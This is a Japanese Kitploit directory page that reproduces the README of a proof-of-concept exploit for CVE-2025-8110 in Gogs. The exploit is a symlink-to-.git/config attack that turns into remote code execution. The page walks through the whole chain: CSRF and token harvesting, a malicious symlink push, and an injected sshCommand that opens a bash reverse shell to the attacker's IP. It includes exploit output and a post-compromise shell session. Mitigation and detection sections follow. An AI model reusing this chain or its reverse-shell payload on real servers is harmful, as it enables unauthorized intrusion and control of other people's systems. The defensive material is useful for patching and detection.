Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-8110 — CVE-2025-8110のPoCエクスプロイト | Kitploit
ツール/GitHubGitHub/joaquinrrr/cve-2025-8110
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育リモートアクセスツール
GitHubjoaquinrrr/cve-2025-8110

CVE-2025-8110

CVE-2025-8110のPoCエクスプロイト

リポジトリを見る
512ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-8110

Gogs リポジトリのシンボリックリンクを利用したリモートコード実行

作成者: oguiii


目次

  • 概要
  • 特徴
  • 要件
  • インストール
  • 使用方法
  • エクスプロイトの流れ
  • 技術分析
  • 概念実証デモ
  • 影響を受けるバージョン
  • 緩和策
  • 検出
  • 免責事項
  • ライセンス

概要

CVE-2025-8110 は Gogs における深刻な脆弱性であり、認証済み攻撃者がリポジトリのシンボリックリンク操作を通じてリモートコード実行を達成することを可能にします。この概念実証は、認証からリバースシェル取得までの完全な攻撃連鎖を示しています。

この脆弱性は、Gogs が API を介してリポジトリファイルを処理する際にシンボリックリンクを辿ることに起因し、攻撃者が .git/config などの機密ファイルを読み取り・変更できるようにします。悪意のある sshCommand ディレクティブを注入することで、Gogs サービスアカウントの権限で任意のシステムコマンドを実行することが可能になります。

7.2 (High) ネットワーク あり 不要 システム全体の完全な侵害

CVSS スコア:

攻撃ベクトル:

認証の必要性:

ユーザー操作:

影響:

特徴

  • 複数のフォールバック方式による自動 CSRF トークン抽出
  • セッション管理と認証処理
  • 設定可能なパラメータによる自動リポジトリ作成
  • シンボリックリンクベースの攻撃ワークフロー
  • リバースシェルペイロード生成
  • デバッグ・分析のためのプロキシサポート
  • 詳細なログ出力とエラーハンドリング
  • 可読性向上のための色付きコンソール出力
  • トラブルシューティング用の冗長モード

要件

システム要件

  • Python 3.6 以上
  • Git がインストールされ、PATH が通っていること
  • 対象の Gogs インスタンスへのネットワークアクセス

Python 依存パッケージ

root@kitploit:~
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0

インストール

クローンとセットアップ

root@kitploit:~
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt

プロジェクト構造

root@kitploit:~
CVE-2025-8110/
├── CVE-2025-8110.py    # メインエクスプロイトスクリプト
├── requirements.txt    # Python 依存関係
└── README.md          # ドキュメント

使用方法

コマンドラインオプション

オプション説明必須
-u, --urlGogs のベース URL(例: https://gogs.example.com)はい
-lh, --hostリバースシェル用の攻撃者 IP アドレスはい
-lp, --portリバースシェル用の攻撃者ポートはい
-U, --usernameGogs のユーザー名はい
-P, --passwordGogs のパスワードはい
-x, --proxyプロキシを有効化(localhost:8080)いいえ
-v, --verbose冗長出力を有効化いいえ

基本的な使い方

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123

デバッグ用プロキシあり

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x

トラブルシューティング用冗長モード

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v

エクスプロイトの流れ

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│                    CVE-2025-8110 攻撃連鎖                                  │
└─────────────────────────────────────────────────────────────────────────────┘

ステップ 1: 認証
├── /user/login にアクセス
├── ログインページから CSRF トークンを抽出
├── CSRF トークンと共に認証情報を送信
└── 認証済みセッションを確立

ステップ 2: アプリケーショントークンの生成
├── /user/settings/applications にアクセス
├── 設定ページから CSRF トークンを抽出
├── 新しいアプリケーショントークンを生成
└── レスポンスからトークンを抽出

ステップ 3: 悪意のあるリポジトリの作成
├── API 経由で auto_init を指定してリポジトリを作成
├── ランダムなリポジトリ名を生成
└── リポジトリ URL を取得

ステップ 4: シンボリックリンクのアップロード
├── リポジトリをローカルにクローン
├── .git/config を指すシンボリックリンクを作成
├── 追加、コミット、プッシュ
└── アップロードの成功を確認

ステップ 5: RCE の実行
├── sshCommand を含む悪意のある .git/config を作成
├── 設定内容を Base64 エンコード
├── API 経由でシンボリックリンク先にアップロード
└── コマンド実行をトリガー

ステップ 6: リバースシェル
├── 攻撃者ホストへの接続確立
├── インタラクティブシェルアクセス
└── 対象上でのコマンド実行

技術分析

脆弱性の根本原因

Gogs は API を介してリポジトリファイルを処理する際に、シンボリックリンクのトラバーサルを適切にサニタイズしていません。API エンドポイントからファイルにアクセスすると、Gogs は検証なしにシンボリックリンクを追跡し、リポジトリディレクトリ外の機密ファイルにアクセスできるようになります。

攻撃ベクトルの詳細

  1. シンボリックリンクの作成

    root@kitploit:~
    ln -s .git/config malicious_link
    git add malicious_link
    git commit -m "Add symlink"
    git push origin master
    
  2. 悪意のある設定

    root@kitploit:~
    [core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
        sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
    
  3. API 悪用

    root@kitploit:~
    PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
    Authorization: token {application_token}
    {
      "message": "Exploit CVE-2025-8110",
      "content": "base64_encoded_config"
    }
    

コード分析

CSRF トークンの抽出

root@kitploit:~
def extract_csrf(html_text):
    """Parse CSRF token from hidden input with multiple fallback methods."""
    # Method 1: Input with name _csrf
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name='_csrf']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 2: Input with name csrf_token
    token_input = soup.select_one("input[name='csrf_token']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 3: Meta tag with CSRF
    meta_tag = soup.find("meta", {"name": "_csrf"})
    if meta_tag and meta_tag.get("content"):
        return meta_tag.get("content")
    
    # Method 4: Regex pattern in script tags
    pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
    match = re.search(pattern, html_text)
    if match:
        return match.group(1)
    
    # Method 5: Regex for hidden input
    pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
    match = re.search(pattern, html_text, re.IGNORECASE)
    if match:
        return match.group(1)
    
    raise ValueError("CSRF token not found in form response")

悪意のある設定の注入

root@kitploit:~
git_config = f"""[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
        url = git@localhost:gogs/{repo_name}.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
"""

概念実証デモ

攻撃セットアップ

root@kitploit:~
# 攻撃者マシン (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)

# エクスプロイト実行
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123

成功したエクスプロイト出力

root@kitploit:~
[INFO] Starting CVE-2025-8110 exploit
[INFO] Target URL: https://gogs.internal.local
[INFO] Attacker host: 10.10.14.15:4444
[INFO] Username: admin

[INFO] Authenticating to Gogs...
[INFO] Login CSRF token found: abc123def456...
[SUCCESS] Authenticated successfully

[INFO] Retrieving application token...
[INFO] Settings CSRF token found: xyz789uvw012...
[SUCCESS] Application token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0

[INFO] Creating malicious repository...
[SUCCESS] Repository created: 6f7e8d9c0a1b

[INFO] Uploading malicious symlink...
[INFO] Cloning repository...
[INFO] Creating symlink: malicious_link -> .git/config
[INFO] Committing and pushing changes...
[SUCCESS] Symlink uploaded successfully

[INFO] Sending exploit payload...
[SUCCESS] Exploit sent, check your listener!

[INFO] Command: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] Exploit likely successful (timeout indicates reverse shell)

リバースシェル接続

root@kitploit:~
Connection received on 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

影響を受けるバージョン

脆弱なバージョン

  • 0.12.6 以前の Gogs バージョン
  • シンボリックリンクサポートが有効なすべてのバージョン(デフォルト設定)

バージョン確認

お使いの Gogs のバージョンを確認するには:

root@kitploit:~
# Gogs Web インターフェースにアクセスし、フッターを確認
# または API を使用
curl https://gogs.example.com/api/v1/version

緩和策

即時対応

  1. Gogs のアップデート

    root@kitploit:~
    # 既存のインストールをバックアップ
    cp -r /home/gogs/gogs /home/gogs/gogs.backup
    
    # 最新バージョンをダウンロードしてインストール
    wget https://dl.gogs.io/gogs_latest_linux_amd64.zip
    unzip gogs_latest_linux_amd64.zip
    cd gogs
    ./gogs web
    
  2. シンボリックリンクサポートの無効化

    root@kitploit:~
    # custom/conf/app.ini 内
    [repository]
    DISABLE_SYMLINKS = true
    
  3. 入力バリデーションの実装

    • ファイルパスを処理する前にサニタイズ
    • シンボリックリンクのトラバーサルを防止
    • ファイルの種類と内容を検証

長期的なセキュリティ対策

  • Gogs サービスアカウントへの最小権限の原則を実装
  • 定期的なセキュリティ監査とペネトレーションテスト
  • ネットワークセグメンテーションによる Gogs の露出制限
  • Web アプリケーションファイアウォール(WAF)ルールの実装
  • 包括的なログ記録と監視の有効化
  • Gogs の設定とリポジトリの定期的なバックアップ

ファイアウォールルール

root@kitploit:~
# Gogs API へのアクセスを制限
iptables -A INPUT -p tcp --dport 3000 -s trusted_subnet -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP

検出

不審なアクティビティの兆候

  1. リポジトリアクティビティ

    • シンボリックリンクを含むリポジトリの作成
    • 短期間に多数のリポジトリが作成される
    • 不審なリポジトリ名(ランダムな16進文字列)
  2. API アクティビティ

    • /api/v1/repos/*/contents/* への PUT リクエスト
    • API 経由の .git/config の変更
    • 単一セッションから高頻度の API リクエスト
  3. システムの兆候

    • Gogs ユーザーによって生成された予期しないプロセス
    • Gogs サーバーからの外部ネットワーク接続
    • 異常なファイルシステムアクセスパターン

ログ分析コマンド

root@kitploit:~
# API 悪用のための Gogs アクセスログを確認
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT

# リポジトリ内のシンボリックリンク作成を監視
find /home/gogs/gogs-repositories -type l

# 不審な git config の変更を確認
grep -r "sshCommand" /home/gogs/gogs-repositories/

# 外部接続を監視
ss -tunp | grep gogs

SIEM 連携

root@kitploit:~
{
  "event_type": "gogs_api_access",
  "severity": "high",
  "indicators": [
    "PUT /api/v1/repos/*/contents/*",
    "sshCommand in git config",
    "random hex repository names"
  ],
  "recommended_actions": [
    "Review repository creation logs",
    "Check for symlink files",
    "Verify API access patterns"
  ]
}

責任ある開示

この脆弱性は発見され、Gogs 開発チームに責任をもって開示されました。ベンダーはバージョン 0.12.6 でパッチをリリースしています。

タイムライン

  • 発見: 2025年5月
  • 責任ある開示: 2025年6月
  • パッチリリース: 2025年6月
  • 公開開示: 2025年6月

追加リソース

  • Gogs 公式セキュリティアドバイザリ
  • CWE-61: UNIX シンボリックリンクの追跡
  • OWASP テストガイド - パストラバーサル
  • Git フックのドキュメント
  • Gogs API ドキュメント

免責事項

このツールは教育目的および許可されたセキュリティテスト目的でのみ提供されています。ユーザーは以下を遵守する必要があります:

  1. システムをテストする前に明示的な書面による許可を得ること
  2. すべての該当する法律および規制を遵守すること
  3. このツールを責任を持って倫理的に使用すること
  4. このツールを悪意のある目的または無許可の目的で使用しないこと

著者は、このツールの誤用または損害について一切の責任を負いません。


ライセンス

MIT ライセンス

Copyright (c) 2025 oguiii

以下に定める条件に従い、本ソフトウェアおよび関連文書ファイル(以下「ソフトウェア」)の複製物を取得するすべての人に対し、ソフトウェアを無制限に扱うことを許可します。これには、ソフトウェアの複製、変更、結合、出版、頒布、サブライセンス、および/または販売の権利、およびソフトウェアを提供する相手に同じことを許可する権利が無制限に含まれます。

上記の著作権表示および本許諾表示を、ソフトウェアのすべての複製または重要な部分に記載するものとします。

ソフトウェアは「現状のまま」で、明示であるか暗黙であるかを問わず、何らの保証もなく提供されます。ここでいう保証には、商品性、特定の目的への適合性、および権利非侵害に関する保証が含まれますが、これに限られません。作者または著作権者は、契約行為、不法行為、またはそれ以外であろうと、ソフトウェアに起因または関連し、あるいはソフトウェアの使用またはその他の扱いによって生じる一切の請求、損害、その他の義務について責任を負わないものとします。


連絡先

  • GitHub: github.com/oguiii
  • プロジェクト: CVE-2025-8110 Exploit

謝辞

  • 初回発見者: zAbuQasem
  • CVE 発行: MITRE Corporation
  • コミュニティ: 脆弱性を検証したセキュリティ研究者およびペネトレーションテスターの皆様

変更履歴

バージョン 1.0.0 (2025年6月25日)

  • 初回リリース
  • 完全な攻撃連鎖の実装
  • フォールバック方式を用いた CSRF トークン抽出
  • 自動リポジトリ作成とシンボリックリンクアップロード
  • リバースシェルペイロード生成
  • デバッグ用プロキシサポート
  • 包括的なドキュメント

oguiii が作成しました

ツールをダウンロード